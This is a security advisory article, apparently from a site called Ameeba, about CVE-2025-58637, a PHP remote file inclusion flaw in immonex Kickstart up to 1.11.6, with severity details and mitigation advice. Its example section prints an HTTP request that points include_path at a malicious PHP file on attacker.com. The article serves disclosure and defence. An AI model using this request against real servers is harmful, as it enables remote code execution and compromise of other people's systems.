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CVE-2025-58637: PHP Remote File Inclusion Vulnerability in immonex Kickstart

Overview

The vulnerability CVE-2025-58637 is a serious security flaw in the immonex Kickstart. Exploiting this vulnerability could lead to a potential system compromise or data leakage, posing a severe risk to the users of immonex Kickstart. It is particularly significant due to the high CVSS Severity Score and the widespread usage of the affected software.

Vulnerability Summary

CVE ID: CVE-2025-58637
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

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Product | Affected Versions

immonex Kickstart | up to and including 1.11.6

How the Exploit Works

The exploit takes advantage of the improper control of filename for include/require statement in PHP Program, also known as ‘PHP Remote File Inclusion’ vulnerability. Attackers can manipulate the PHP include function to include a malicious PHP file from a remote server, leading to arbitrary code execution. This could result in a complete system compromise or potential data leakage.

Conceptual Example Code

An attacker could potentially exploit this vulnerability by sending a specially crafted request like the following:

GET /index.php?include_path=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, the attacker is trying to include a malicious PHP file located on their server. If the server is vulnerable, it will fetch and execute the malicious PHP file, leading to potential system compromise.

Mitigation and Recommendations

Users of affected versions of immonex Kickstart are advised to update to the latest version immediately. If an update is not immediately possible, applying a vendor patch or using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as a temporary mitigation. It is also recommended to disable allow_url_include and allow_url_fopen directives in PHP configuration if not needed. Regularly monitoring system logs for any suspicious activity is also advised.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.
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